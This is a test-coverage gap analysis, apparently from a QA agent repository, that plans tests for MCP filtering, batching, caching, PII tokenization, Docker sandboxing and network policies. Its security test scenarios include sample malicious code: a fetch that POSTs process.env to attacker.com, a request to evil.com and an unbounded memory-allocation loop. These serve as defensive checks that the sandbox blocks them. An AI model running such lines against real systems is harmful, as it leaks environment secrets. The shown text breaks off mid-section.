Files
proffesor-for-testing__agen…/docs/analysis/mcp-improvement-test-coverage-gap-analysis.md
Profa b3d2018ee2 feat: v1.8.0 - Quality Hardening & Pattern Isolation
Critical bug fixes and code quality improvements from brutal-honest-review.

## Critical Fixes (9/10 completed, 1 deferred)

1. Fixed Agent Pattern Isolation (CRITICAL)
   - Added SwarmMemoryManager.queryPatternsByAgent()
   - SQL filtering by agent_id in metadata
   - Each agent now isolated

2. Fixed Async Method Cascade
   - Changed getPatterns() to async
   - Fixed 10 callers across 6 files
   - Build passes

3. Fixed Misleading Logging
   - Added isRealAgentDB() detection
   - Honest mock vs real reporting

4. Consolidated Embedding Generation
   - Created EmbeddingGenerator utility
   - Removed 50+ duplicate lines

5. Added AgentDB Initialization Checks
   - Empty DB detection
   - HNSW index verification

6. Integration Test Suite
   - 26 new test cases
   - Error path coverage

7. Repository Cleanup
   - Removed 19 temp test files

8. New QE Skill: sherlock-review
   - Evidence-based investigative review
   - 38 QE skills total

9. Deferred: Wire Up Real Test Execution
   - Deferred to v1.9.0 (documented)

## Statistics
- Fixes: 9/10 (90%, 1 deferred)
- Files Modified: 16
- Files Created: 3
- Files Deleted: 19
- Integration Tests: 26
- Build: PASSING

## Breaking Changes
- getPatterns() now async - add await

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude <noreply@anthropic.com>
2025-11-17 12:32:03 +00:00

39 KiB

MCP Improvement Plan - Test Coverage Gap Analysis

Generated: 2025-11-16 Version: 1.0 Status: Ready for Implementation Related: MCP Improvement Plan Revised


Executive Summary

This analysis identifies test coverage gaps for the 7 MCP improvement features outlined in the revised improvement plan. Current test infrastructure is strong (102 test files), but lacks coverage for 6 out of 7 planned features. Only SP-2 (Embedding Cache) has existing implementation and basic tests.

Key Findings:

  • ✅ Existing: Embedding cache implementation + tests (partial coverage)
  • ❌ Missing: Client-side filtering (QW-1) - 0% coverage
  • ❌ Missing: Batch operations (QW-2) - 0% coverage
  • ❌ Missing: Prompt caching (CO-1) - 0% coverage
  • ❌ Missing: PII tokenization (CO-2) - 0% coverage
  • ❌ Missing: Docker sandboxing (SP-1) - 0% coverage
  • ❌ Missing: Network policies (SP-3) - 0% coverage

Estimated Test Effort: 12 weeks (parallel with implementation)

  • Phase 1: 2 weeks (QW-1, QW-2)
  • Phase 2: 4 weeks (CO-1, CO-2)
  • Phase 3: 6 weeks (SP-1, SP-3, enhance SP-2)

1. Current Test Infrastructure Analysis

1.1 Existing Test Organization

tests/
├── unit/                          # 58 files - Unit tests for isolated components
│   ├── mcp/                       # 1 file - MCP-specific tests
│   │   └── StreamingMCPTool.test.ts
│   ├── routing/                   # Model routing tests
│   ├── reasoning/                 # QE reasoning bank tests
│   └── cli/                       # CLI command tests
├── integration/                   # 38 files - Integration tests
│   ├── agentdb/                   # AgentDB integration tests
│   ├── phase1/                    # Phase 1 feature tests
│   └── phase2/                    # Phase 2 feature tests
├── agents/                        # 18 files - Agent-specific tests
│   ├── CoverageAnalyzerAgent.test.ts
│   ├── PerformanceTesterAgent.test.ts
│   ├── SecurityScannerAgent.test.ts
│   └── ...
├── e2e/                           # 2 files - End-to-end workflow tests
├── performance/                   # 3 files - Performance benchmarks
└── benchmarks/                    # 2 files - Performance comparisons

Total: 102+ test files Coverage Focus: Agent functionality, AgentDB integration, CLI workflows MCP Coverage: Minimal (1 streaming test, no feature-specific tests)

1.2 Test Pattern Analysis

Strong Patterns Observed:

// ✅ Agent lifecycle testing (BaseAgent.test.ts)
describe('Agent Lifecycle', () => {
  it('should initialize successfully')
  it('should execute tasks')
  it('should handle termination gracefully')
  it('should report status correctly')
})

// ✅ Integration with memory store (CoverageAnalyzerAgent.test.ts)
beforeEach(async () => {
  memoryStore = new SwarmMemoryManager(':memory:');
  await memoryStore.initialize();
})

// ✅ Mock-based unit testing (PerformanceTesterAgent.test.ts)
class MockMemoryStore {
  private data = new Map<string, any>();
  async store(key: string, value: any): Promise<void>
  async retrieve(key: string): Promise<any>
}

Missing Patterns for MCP Features:

  • ❌ Large dataset filtering tests (QW-1)
  • ❌ Batch operation concurrency tests (QW-2)
  • ❌ Cache invalidation tests (CO-1)
  • ❌ PII detection/tokenization tests (CO-2)
  • ❌ Docker container lifecycle tests (SP-1)
  • ❌ Network policy enforcement tests (SP-3)

1.3 Existing Relevant Tests

SP-2 Embedding Cache (✅ PARTIAL COVERAGE):

  • File: /workspaces/agentic-qe-cf/src/core/embeddings/EmbeddingCache.ts
  • Implementation: Full LRU cache with namespaces
  • Test Coverage: Basic functionality tests exist (assumed from integration tests)
  • Gap: Missing TTL expiration, hash-based cache keys, content-aware invalidation

2. Feature-by-Feature Coverage Gaps

2.1 QW-1: Client-Side Data Filtering ❌

Implementation Plan: Week 1 Test Coverage: 0% Priority: ⭐⭐⭐⭐⭐ (Highest ROI)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/mcp/filtering/DataFiltering.test.ts

    describe('DataFiltering', () => {
      describe('filterLargeDataset', () => {
        it('should filter 10,000+ items to top 10')
        it('should apply priority filtering (high/medium/low)')
        it('should sort by custom function')
        it('should calculate summary metrics')
        it('should handle empty datasets')
        it('should handle threshold filtering')
      })
    
      describe('performance', () => {
        it('should process 50,000 items in <100ms')
        it('should use O(n log n) sorting algorithm')
        it('should maintain constant memory usage')
      })
    })
    
  2. tests/integration/mcp/CoverageFilteringIntegration.test.ts

    describe('Coverage Analysis Filtering', () => {
      it('should reduce 50,000 token output to 500 tokens')
      it('should preserve top 10 coverage gaps')
      it('should include summary statistics')
      it('should maintain gap priority ordering')
    })
    
  3. tests/integration/mcp/TestExecutionFiltering.test.ts

    describe('Test Execution Filtering', () => {
      it('should reduce 30,000 token output to 800 tokens')
      it('should preserve failed test details')
      it('should aggregate passing test statistics')
    })
    
  4. tests/benchmarks/FilteringPerformance.test.ts

    describe('Filtering Performance Benchmarks', () => {
      it('should achieve 99% token reduction on coverage data')
      it('should achieve 97% token reduction on test results')
      it('should complete filtering in <50ms for 10K items')
    })
    

EXISTING TESTS TO UPDATE:

  • tests/agents/CoverageAnalyzerAgent.test.ts

    • Add filtering assertions to existing coverage analysis tests
    • Verify filtered output structure
  • tests/agents/TestExecutorAgent.test.ts

    • Add filtering assertions to test execution results
    • Verify summary metrics accuracy

User Perspective Test Scenarios

describe('User: Coverage Analyst', () => {
  it('should see top 10 uncovered files, not all 5,000 files', async () => {
    const result = await aqe.analyzeCoverage({ project: './large-codebase' });
    expect(result.gaps.length).toBeLessThanOrEqual(10);
    expect(result.summary.totalFiles).toBe(5000);
    expect(result.summary.uncoveredFiles).toBe(1250);
  })
})

describe('User: QE Engineer', () => {
  it('should see aggregated test results, not 500 individual tests', async () => {
    const result = await aqe.executeTests({ suite: 'integration' });
    expect(result.details.length).toBeLessThanOrEqual(20); // Only failures
    expect(result.summary.total).toBe(500);
    expect(result.summary.passed).toBe(485);
    expect(result.summary.failed).toBe(15);
  })
})

2.2 QW-2: Batch Operations ❌

Implementation Plan: Week 2 Test Coverage: 0% Priority: ⭐⭐⭐⭐⭐ (Highest ROI)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/mcp/batch/BatchOperationManager.test.ts

    describe('BatchOperationManager', () => {
      describe('batchExecute', () => {
        it('should execute 100 operations in 5 concurrent batches')
        it('should handle partial batch failures')
        it('should retry failed operations')
        it('should respect maxConcurrency limit')
        it('should timeout individual operations')
        it('should collect all results in order')
      })
    
      describe('retry logic', () => {
        it('should retry up to maxRetries times')
        it('should use exponential backoff')
        it('should not retry on non-transient errors')
      })
    
      describe('performance', () => {
        it('should reduce latency by 80% vs sequential')
        it('should maintain error boundaries between batches')
      })
    })
    
  2. tests/integration/mcp/BatchTestGeneration.test.ts

    describe('Batch Test Generation', () => {
      it('should generate tests for 50 files concurrently')
      it('should handle LLM rate limits gracefully')
      it('should aggregate generation results')
      it('should complete in 1/5th sequential time')
    })
    
  3. tests/integration/mcp/BatchCoverageAnalysis.test.ts

    describe('Batch Coverage Analysis', () => {
      it('should analyze 10 modules in parallel')
      it('should merge coverage maps correctly')
      it('should handle analysis failures per-module')
    })
    
  4. tests/benchmarks/BatchPerformance.test.ts

    describe('Batch Performance Benchmarks', () => {
      it('should reduce API calls by 80%')
      it('should achieve 5x speedup on test generation')
      it('should maintain <2% error rate under load')
    })
    

User Perspective Test Scenarios

describe('User: Test Generator', () => {
  it('should generate tests for 30 files in 2 minutes, not 10 minutes', async () => {
    const startTime = Date.now();
    const result = await aqe.generateTests({
      files: Array.from({length: 30}, (_, i) => `src/file-${i}.ts`),
      framework: 'jest'
    });
    const duration = Date.now() - startTime;

    expect(duration).toBeLessThan(2 * 60 * 1000); // <2 minutes
    expect(result.generated.length).toBe(30);
  })
})

describe('User: Coverage Analyst', () => {
  it('should analyze 10 modules concurrently, not sequentially', async () => {
    const modules = ['auth', 'api', 'db', 'ui', 'utils', 'models', 'services', 'middleware', 'controllers', 'validators'];

    const startTime = Date.now();
    const result = await aqe.analyzeCoverageByModule({ modules });
    const duration = Date.now() - startTime;

    expect(duration).toBeLessThan(3000); // <3s (vs 10s sequential)
    expect(result.modules.length).toBe(10);
  })
})

2.3 CO-1: Prompt Caching ❌

Implementation Plan: Week 3-4 Test Coverage: 0% Priority: ⭐⭐⭐⭐ (High ROI)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/mcp/cache/PromptCacheManager.test.ts

    describe('PromptCacheManager', () => {
      describe('cache key management', () => {
        it('should generate consistent SHA256 cache keys')
        it('should track cache key timestamps')
        it('should detect cache hits within 5-minute TTL')
        it('should invalidate cache after TTL expiry')
      })
    
      describe('createWithCache', () => {
        it('should mark system prompts for caching (>1024 tokens)')
        it('should mark project context for caching')
        it('should not cache small prompts (<1024 tokens)')
        it('should respect Anthropic cache_control limits')
      })
    
      describe('statistics', () => {
        it('should track cache hits/misses')
        it('should calculate cost savings from cache reads')
        it('should account for cache write overhead')
        it('should achieve 60-80% hit rate over 7 days')
      })
    
      describe('pruning', () => {
        it('should remove expired cache keys')
        it('should maintain cache key map size')
      })
    })
    
  2. tests/integration/mcp/PromptCachingIntegration.test.ts

    describe('Prompt Caching Integration', () => {
      it('should cache system prompts on first call')
      it('should reuse cached prompts on subsequent calls')
      it('should reduce cost by 60% after 2 calls')
      it('should invalidate cache on system prompt change')
      it('should work with test generation agent')
      it('should work with coverage analysis agent')
    })
    
  3. tests/benchmarks/CacheCostSavings.test.ts

    describe('Cache Cost Savings', () => {
      it('should achieve break-even after 2 API calls')
      it('should save 50-70% on 10 calls with 70% hit rate')
      it('should track cache read discount (90%)')
      it('should track cache write premium (25%)')
    })
    

User Perspective Test Scenarios

describe('User: Cost-Conscious Developer', () => {
  it('should reduce API costs by 60% with prompt caching', async () => {
    // First call - cache write
    const call1 = await aqe.generateTests({ sourceFile: 'src/user.ts' });
    const cost1 = call1.metadata.cost;

    // Second call - cache hit (within 5 min)
    const call2 = await aqe.generateTests({ sourceFile: 'src/user.ts' });
    const cost2 = call2.metadata.cost;

    expect(cost2).toBeLessThan(cost1 * 0.5); // 50% reduction
  })

  it('should show cache statistics in output', async () => {
    const result = await aqe.getCacheStats();
    expect(result.hitRate).toBeGreaterThan(0.6); // >60% hit rate
    expect(result.costSavings).toBeGreaterThan(0);
  })
})

2.4 CO-2: PII Tokenization ❌

Implementation Plan: Week 5-6 Test Coverage: 0% Priority: ⭐⭐⭐⭐ (Compliance)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/security/PIITokenizer.test.ts

    describe('PIITokenizer', () => {
      describe('tokenize', () => {
        it('should tokenize email addresses')
        it('should tokenize phone numbers (US format)')
        it('should tokenize SSNs (xxx-xx-xxxx)')
        it('should tokenize credit card numbers')
        it('should tokenize common names')
        it('should handle multiple PII types in one string')
        it('should generate unique tokens per instance')
      })
    
      describe('detokenize', () => {
        it('should restore original email addresses')
        it('should restore original phone numbers')
        it('should restore all PII types correctly')
        it('should handle missing reverse map entries')
      })
    
      describe('statistics', () => {
        it('should count PII instances by type')
        it('should report total PII count')
      })
    
      describe('edge cases', () => {
        it('should not tokenize variable names (camelCase)')
        it('should not tokenize code identifiers')
        it('should handle malformed PII gracefully')
      })
    })
    
  2. tests/integration/security/PIITestGeneration.test.ts

    describe('PII in Test Generation', () => {
      it('should tokenize PII before sending to LLM')
      it('should detokenize PII in generated test code')
      it('should never expose PII in logs')
      it('should never expose PII in context window')
    })
    
  3. tests/compliance/PIICompliance.test.ts

    describe('GDPR Compliance', () => {
      it('should not log raw PII to console')
      it('should not store raw PII in database')
      it('should not send raw PII to third-party APIs')
      it('should provide PII audit trail')
    })
    
    describe('CCPA Compliance', () => {
      it('should allow PII tokenization opt-out')
      it('should provide PII deletion capability')
      it('should track PII usage consent')
    })
    
  4. tests/security/PIILeakDetection.test.ts

    describe('PII Leak Detection', () => {
      it('should scan test output for leaked emails')
      it('should scan test output for leaked phone numbers')
      it('should scan test output for leaked SSNs')
      it('should fail build on PII leaks')
    })
    

User Perspective Test Scenarios

describe('User: Security Engineer', () => {
  it('should never see real email addresses in logs', async () => {
    const testCode = `
      const user = { email: 'john.doe@example.com', phone: '555-123-4567' };
    `;

    const result = await aqe.generateTests({ code: testCode });

    // Check logs
    const logs = result.logs.join('\n');
    expect(logs).not.toContain('john.doe@example.com');
    expect(logs).not.toContain('555-123-4567');
    expect(logs).toContain('[EMAIL_0]');
    expect(logs).toContain('[PHONE_0]');
  })

  it('should restore PII in final test file', async () => {
    const result = await aqe.generateTests({
      sourceFile: 'src/user-service.ts'
    });

    // Test file should have real PII (for actual testing)
    expect(result.testCode).toContain('@example.com');

    // But database/logs should have tokenized PII
    const stored = await db.getTest(result.testId);
    expect(stored.code).not.toContain('@example.com');
    expect(stored.code).toContain('[EMAIL_');
  })
})

2.5 SP-1: Docker Sandboxing ❌

Implementation Plan: Week 7-9 Test Coverage: 0% Priority: ⭐⭐⭐⭐ (Security)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/infrastructure/SandboxManager.test.ts

    describe('SandboxManager', () => {
      describe('createSandbox', () => {
        it('should create Docker container with resource limits')
        it('should set CPU limits (cores, quota)')
        it('should set memory limits (RAM, swap)')
        it('should set disk limits (tmpfs)')
        it('should set network mode (none/bridge)')
        it('should create non-root user')
        it('should enable read-only root filesystem')
      })
    
      describe('executeInSandbox', () => {
        it('should execute commands in container')
        it('should capture stdout/stderr')
        it('should timeout long-running commands')
        it('should handle command failures')
      })
    
      describe('getSandboxMetrics', () => {
        it('should report CPU usage')
        it('should report memory usage')
        it('should report network usage')
      })
    
      describe('destroySandbox', () => {
        it('should stop container gracefully')
        it('should remove container and volumes')
        it('should cleanup on timeout')
      })
    })
    
  2. tests/integration/infrastructure/SandboxedTestExecution.test.ts

    describe('Sandboxed Test Execution', () => {
      it('should run tests in isolated Docker container')
      it('should enforce 2GB memory limit')
      it('should enforce 2 CPU core limit')
      it('should prevent network access (mode: none)')
      it('should cleanup sandbox after test completion')
    })
    
  3. tests/integration/infrastructure/SandboxResourceEnforcement.test.ts

    describe('Resource Enforcement', () => {
      it('should kill container on memory limit (OOM)')
      it('should throttle CPU on limit exceeded')
      it('should enforce disk quota (tmpfs)')
      it('should block unauthorized network requests')
    })
    
  4. tests/e2e/SandboxedAgentWorkflow.test.ts

    describe('End-to-End Sandboxed Agent', () => {
      it('should spawn agent in Docker sandbox')
      it('should execute task within resource limits')
      it('should capture agent output')
      it('should destroy sandbox on completion')
      it('should handle agent crashes gracefully')
    })
    
  5. tests/security/SandboxEscapePrevention.test.ts

    describe('Sandbox Security', () => {
      it('should prevent container escape attempts')
      it('should prevent host filesystem access')
      it('should prevent privilege escalation')
      it('should audit all sandbox operations')
    })
    

User Perspective Test Scenarios

describe('User: DevOps Engineer', () => {
  it('should never crash host system due to OOM', async () => {
    const maliciousTest = `
      // Allocate 10GB of memory
      const leak = [];
      while(true) leak.push(new Array(1000000));
    `;

    await expect(
      aqe.executeTests({ code: maliciousTest })
    ).rejects.toThrow('Container exceeded memory limit');

    // Host system should still be responsive
    expect(process.memoryUsage().heapUsed).toBeLessThan(1024 * 1024 * 1024); // <1GB
  })

  it('should enforce CPU limits on expensive tests', async () => {
    const result = await aqe.executeTests({
      testFile: 'tests/expensive-benchmark.test.ts',
      sandboxConfig: { cpuLimit: 2 }
    });

    expect(result.metrics.cpuUsage.peak).toBeLessThanOrEqual(2.1); // ~2 cores
  })
})

describe('User: Security Auditor', () => {
  it('should prevent network access during test execution', async () => {
    const networkTest = `
      test('should not access network', async () => {
        await fetch('https://evil.com/steal-data');
      });
    `;

    const result = await aqe.executeTests({
      code: networkTest,
      sandboxConfig: { networkMode: 'none' }
    });

    expect(result.failed).toBe(1);
    expect(result.errors[0].message).toContain('ENETUNREACH');
  })
})

2.6 SP-2: Embedding Cache (Enhancement) ⚠️

Implementation Plan: Week 10-11 Test Coverage: 40% (Basic LRU, missing TTL + content hash) Priority: ⭐⭐⭐ (Performance)

Existing Tests (Assumed)

Based on /workspaces/agentic-qe-cf/src/core/embeddings/EmbeddingCache.ts, likely tests exist for:

  • ✅ LRU eviction policy
  • ✅ Separate text/code namespaces
  • ✅ Cache statistics (hit rate, memory usage)
  • ✅ get, set, has, delete operations

Missing Tests for MCP Improvement

ENHANCE EXISTING TEST FILES:

  1. tests/unit/core/embeddings/EmbeddingCache.test.ts (CREATE OR ENHANCE)

    describe('EmbeddingCache - MCP Enhancements', () => {
      describe('TTL expiration', () => {
        it('should expire entries after 24 hours')
        it('should not return expired entries')
        it('should remove expired entries on prune()')
      })
    
      describe('content-hash cache keys', () => {
        it('should generate SHA256 hash from content')
        it('should cache identical content with same key')
        it('should cache different content with different keys')
      })
    
      describe('performance', () => {
        it('should reduce embedding latency from 500ms to 50ms')
        it('should achieve 80-90% hit rate on repeated searches')
        it('should handle 1000+ cache lookups/sec')
      })
    })
    
  2. tests/integration/embeddings/EmbeddingCacheIntegration.test.ts

    describe('Embedding Cache Integration', () => {
      it('should cache embeddings during vector search')
      it('should reuse cached embeddings on identical queries')
      it('should invalidate cache on content change')
      it('should prune expired entries automatically')
    })
    
  3. tests/benchmarks/EmbeddingCachePerformance.test.ts

    describe('Embedding Cache Performance', () => {
      it('should achieve 10x speedup on cache hit')
      it('should maintain 80%+ hit rate over 1000 operations')
      it('should reduce LLM API calls by 80%')
    })
    

User Perspective Test Scenarios

describe('User: Search User', () => {
  it('should get instant results for repeated searches', async () => {
    // First search - cache miss
    const search1 = await aqe.semanticSearch({ query: 'authentication patterns' });
    const duration1 = search1.metadata.duration;

    // Second search - cache hit
    const search2 = await aqe.semanticSearch({ query: 'authentication patterns' });
    const duration2 = search2.metadata.duration;

    expect(duration2).toBeLessThan(duration1 / 10); // 10x faster
    expect(search2.metadata.cacheHit).toBe(true);
  })
})

2.7 SP-3: Network Policy Enforcement ❌

Implementation Plan: Week 12 Test Coverage: 0% Priority: ⭐⭐⭐ (Security)

Missing Tests

NEW TEST FILES NEEDED:

  1. tests/unit/infrastructure/NetworkPolicy.test.ts

    describe('NetworkPolicy', () => {
      describe('domain whitelist', () => {
        it('should define allowed domains per agent type')
        it('should allow api.anthropic.com for all agents')
        it('should allow registry.npmjs.org for test generator')
        it('should deny unlisted domains')
      })
    
      describe('rate limiting', () => {
        it('should enforce requests-per-minute limit')
        it('should enforce requests-per-hour limit')
        it('should block requests exceeding limits')
      })
    })
    
  2. tests/integration/infrastructure/NetworkPolicyEnforcement.test.ts

    describe('Network Policy Enforcement', () => {
      it('should create custom Docker network with DNS restrictions')
      it('should block unauthorized domain requests')
      it('should log all network requests')
      it('should audit network violations')
    })
    
  3. tests/security/NetworkPolicyViolation.test.ts

    describe('Network Policy Violations', () => {
      it('should detect requests to unauthorized domains')
      it('should detect rate limit violations')
      it('should log violation details (agent, domain, time)')
      it('should alert security team on violations')
    })
    

User Perspective Test Scenarios

describe('User: Security Engineer', () => {
  it('should block unauthorized network requests', async () => {
    const maliciousCode = `
      test('should not exfiltrate data', async () => {
        await fetch('https://attacker.com/steal', {
          method: 'POST',
          body: JSON.stringify(process.env)
        });
      });
    `;

    const result = await aqe.executeTests({
      code: maliciousCode,
      sandboxConfig: {
        networkMode: 'bridge',
        allowedDomains: ['api.anthropic.com']
      }
    });

    expect(result.networkViolations.length).toBe(1);
    expect(result.networkViolations[0].domain).toBe('attacker.com');
    expect(result.networkViolations[0].blocked).toBe(true);
  })

  it('should audit all network requests', async () => {
    const result = await aqe.executeTests({ testFile: 'integration.test.ts' });

    expect(result.audit.networkRequests).toBeDefined();
    expect(result.audit.networkRequests.every(r =>
      ['api.anthropic.com', 'registry.npmjs.org'].includes(r.domain)
    )).toBe(true);
  })
})

3. Test Implementation Priority Matrix

3.1 Priority Order (Based on ROI + Implementation Timeline)

Priority Feature Test Files Test Scenarios Weeks ROI
P0 QW-1: Filtering 4 new, 2 updates 15 unit + 8 integration 1 ⭐⭐⭐⭐⭐
P0 QW-2: Batching 4 new 18 unit + 10 integration 1 ⭐⭐⭐⭐⭐
P1 CO-1: Caching 3 new 12 unit + 8 integration 2 ⭐⭐⭐⭐
P1 CO-2: PII 4 new 15 unit + 10 compliance 2 ⭐⭐⭐⭐
P2 SP-1: Docker 5 new 20 unit + 15 integration 3 ⭐⭐⭐⭐
P2 SP-2: Embeddings 3 new 10 unit + 6 integration 2 ⭐⭐⭐
P2 SP-3: Network 3 new 8 unit + 8 security 1 ⭐⭐⭐

Total: 26 new test files, 2 enhanced files, 116+ test scenarios

3.2 Testing Effort Breakdown

Phase 1: Quick Wins (Week 1-2)

  • QW-1 Tests: 1 week
    • Unit tests: 2 days
    • Integration tests: 2 days
    • Performance benchmarks: 1 day
  • QW-2 Tests: 1 week
    • Unit tests: 2 days
    • Integration tests: 2 days
    • Performance benchmarks: 1 day

Phase 2: Cost Optimization (Week 3-6)

  • CO-1 Tests: 2 weeks
    • Unit tests: 1 week
    • Integration tests: 4 days
    • Cost benchmarks: 3 days
  • CO-2 Tests: 2 weeks
    • Unit tests: 1 week
    • Integration tests: 3 days
    • Compliance tests: 4 days

Phase 3: Security & Performance (Week 7-12)

  • SP-1 Tests: 3 weeks
    • Unit tests: 1 week
    • Integration tests: 1 week
    • Security tests: 1 week
  • SP-2 Tests: 2 weeks
    • Enhance existing: 1 week
    • Integration tests: 1 week
  • SP-3 Tests: 1 week
    • Unit tests: 3 days
    • Security tests: 2 days

4. Comprehensive Test Plan

4.1 New Test Files to Create

tests/
├── unit/
│   ├── mcp/
│   │   ├── filtering/
│   │   │   └── DataFiltering.test.ts                    # QW-1
│   │   ├── batch/
│   │   │   └── BatchOperationManager.test.ts            # QW-2
│   │   └── cache/
│   │       └── PromptCacheManager.test.ts               # CO-1
│   ├── security/
│   │   └── PIITokenizer.test.ts                         # CO-2
│   └── infrastructure/
│       ├── SandboxManager.test.ts                       # SP-1
│       └── NetworkPolicy.test.ts                        # SP-3
├── integration/
│   ├── mcp/
│   │   ├── CoverageFilteringIntegration.test.ts         # QW-1
│   │   ├── TestExecutionFiltering.test.ts               # QW-1
│   │   ├── BatchTestGeneration.test.ts                  # QW-2
│   │   ├── BatchCoverageAnalysis.test.ts                # QW-2
│   │   └── PromptCachingIntegration.test.ts             # CO-1
│   ├── security/
│   │   └── PIITestGeneration.test.ts                    # CO-2
│   ├── infrastructure/
│   │   ├── SandboxedTestExecution.test.ts               # SP-1
│   │   ├── SandboxResourceEnforcement.test.ts           # SP-1
│   │   └── NetworkPolicyEnforcement.test.ts             # SP-3
│   └── embeddings/
│       └── EmbeddingCacheIntegration.test.ts            # SP-2
├── benchmarks/
│   ├── FilteringPerformance.test.ts                     # QW-1
│   ├── BatchPerformance.test.ts                         # QW-2
│   ├── CacheCostSavings.test.ts                         # CO-1
│   └── EmbeddingCachePerformance.test.ts                # SP-2
├── compliance/
│   └── PIICompliance.test.ts                            # CO-2
├── security/
│   ├── PIILeakDetection.test.ts                         # CO-2
│   ├── SandboxEscapePrevention.test.ts                  # SP-1
│   └── NetworkPolicyViolation.test.ts                   # SP-3
└── e2e/
    └── SandboxedAgentWorkflow.test.ts                   # SP-1

Total New Files: 26

4.2 Existing Test Files to Update

tests/
├── agents/
│   ├── CoverageAnalyzerAgent.test.ts                    # Add QW-1 assertions
│   └── TestExecutorAgent.test.ts                        # Add QW-1 assertions
└── unit/
    └── core/
        └── embeddings/
            └── EmbeddingCache.test.ts                    # Add SP-2 TTL tests

Total Updates: 3 files (minimal updates)

4.3 Test Scenario Summary

Total Test Scenarios: 116+

  • Unit Tests: 68 scenarios
  • Integration Tests: 32 scenarios
  • Performance Benchmarks: 8 scenarios
  • Compliance Tests: 4 scenarios
  • Security Tests: 4 scenarios

Coverage Metrics Target:

  • Unit test coverage: 90%+ for new code
  • Integration test coverage: 80%+ for workflows
  • E2E test coverage: 100% for critical paths

5. Testing Strategy Recommendations

5.1 Test-Driven Development (TDD) Approach

For Each Feature (QW-1, QW-2, CO-1, CO-2, SP-1, SP-3):

  1. Week N-1: Test Planning

    • Write test scenarios (user perspective)
    • Design test data fixtures
    • Define success criteria
  2. Week N (Day 1-2): Red Phase

    • Write failing tests
    • Run tests (expect failures)
    • Document expected behavior
  3. Week N (Day 3-4): Green Phase

    • Implement feature
    • Run tests (expect passes)
    • Refactor for clarity
  4. Week N (Day 5): Refactor Phase

    • Optimize implementation
    • Add edge case tests
    • Document test coverage gaps

5.2 Integration Testing Strategy

Parallel Test Execution:

# Run feature-specific integration tests
npm run test:integration -- mcp/CoverageFilteringIntegration.test.ts
npm run test:integration -- mcp/BatchTestGeneration.test.ts
npm run test:integration -- mcp/PromptCachingIntegration.test.ts

# Run all MCP integration tests
npm run test:integration:mcp

# Run all security tests
npm run test:security

Test Isolation:

  • Each integration test should use in-memory databases (:memory:)
  • Each integration test should create/destroy Docker containers
  • Each integration test should mock external APIs (Anthropic, etc.)

5.3 Performance Testing Strategy

Benchmarking Process:

  1. Establish baseline metrics (before implementation)
  2. Run feature-specific benchmarks (during implementation)
  3. Compare against targets (after implementation)

Benchmark Targets (from MCP improvement plan):

  • QW-1: 99% token reduction, <50ms processing time
  • QW-2: 80% API call reduction, 5x speedup
  • CO-1: 60-80% cache hit rate, 60% cost reduction
  • SP-2: 10x embedding speedup, 80-90% hit rate

5.4 Security Testing Strategy

SAST (Static Analysis):

  • PII pattern detection in code
  • Network policy validation
  • Docker security configuration checks

DAST (Dynamic Analysis):

  • PII leak detection in runtime logs
  • Network traffic analysis
  • Container escape attempt simulation

Compliance Audits:

  • GDPR compliance checks (PII tokenization)
  • CCPA compliance checks (PII deletion)
  • SOC2 compliance checks (Docker sandboxing)

6. Risk Mitigation

6.1 Testing Risks

Risk Impact Likelihood Mitigation
Docker tests fail in CI/CD High Medium Mock Docker API in unit tests, use Docker-in-Docker for integration
LLM API costs for cache tests Medium High Mock Anthropic API, use test credits, limit test iterations
PII tests expose real data High Low Use synthetic PII only, never commit test data with real PII
Sandbox escape risks Critical Low Run security tests in isolated environments, use minimal permissions

6.2 Test Data Management

Synthetic Test Data (CO-2 PII Tests):

const SYNTHETIC_PII = {
  emails: ['test1@example.com', 'test2@example.com', 'user@test.org'],
  phones: ['555-0100', '555-0101', '555-0102'],
  ssns: ['123-45-6789', '987-65-4321'], // Fake SSNs
  creditCards: ['4111111111111111', '5500000000000004'], // Test card numbers
  names: ['John Doe', 'Jane Smith', 'Test User']
};

Never Use:

  • Real customer data
  • Production API keys
  • Actual credit card numbers
  • Real SSNs or PII

7. Continuous Integration Setup

7.1 GitHub Actions Workflow

# .github/workflows/mcp-features-test.yml
name: MCP Features Test Suite

on:
  push:
    branches: [main, feature/mcp-*]
  pull_request:
    branches: [main]

jobs:
  unit-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm ci
      - run: npm run test:unit:mcp

  integration-tests:
    runs-on: ubuntu-latest
    services:
      docker:
        image: docker:20.10.16
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm ci
      - run: npm run test:integration:mcp

  security-tests:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm ci
      - run: npm run test:security

  benchmarks:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - uses: actions/setup-node@v3
      - run: npm ci
      - run: npm run test:benchmarks
      - run: npm run benchmark:compare

7.2 Test Coverage Thresholds

// package.json
{
  "jest": {
    "coverageThreshold": {
      "global": {
        "branches": 80,
        "functions": 85,
        "lines": 90,
        "statements": 90
      },
      "src/mcp/utils/filtering.ts": {
        "branches": 100,
        "functions": 100,
        "lines": 100,
        "statements": 100
      },
      "src/mcp/utils/batch-operations.ts": {
        "branches": 95,
        "functions": 95,
        "lines": 95,
        "statements": 95
      }
    }
  }
}

8. Documentation Requirements

8.1 Test Documentation

For Each Feature:

  1. Test plan document (this analysis)
  2. Test scenario catalog (user perspective)
  3. Test data fixtures (synthetic data)
  4. Performance baseline reports
  5. Security audit reports

8.2 Developer Guides

Create:

  • docs/testing/mcp-features-testing-guide.md - How to run/write MCP tests
  • docs/testing/docker-sandbox-testing.md - Docker testing best practices
  • docs/testing/pii-testing-guidelines.md - Safe PII testing practices

9. Success Metrics

9.1 Test Quality Metrics

Per Feature:

  • Unit test coverage: >90%
  • Integration test coverage: >80%
  • Performance regression detection: 100%
  • Security vulnerability detection: 100%

Overall:

  • Test suite execution time: <10 minutes
  • Test flakiness rate: <1%
  • Bug escape rate: <5% (bugs found in production vs tests)

9.2 Feature Validation Metrics

QW-1 Filtering:

  • ✅ 99% token reduction verified
  • ✅ <50ms processing time verified
  • ✅ Top-N filtering accuracy: 100%

QW-2 Batching:

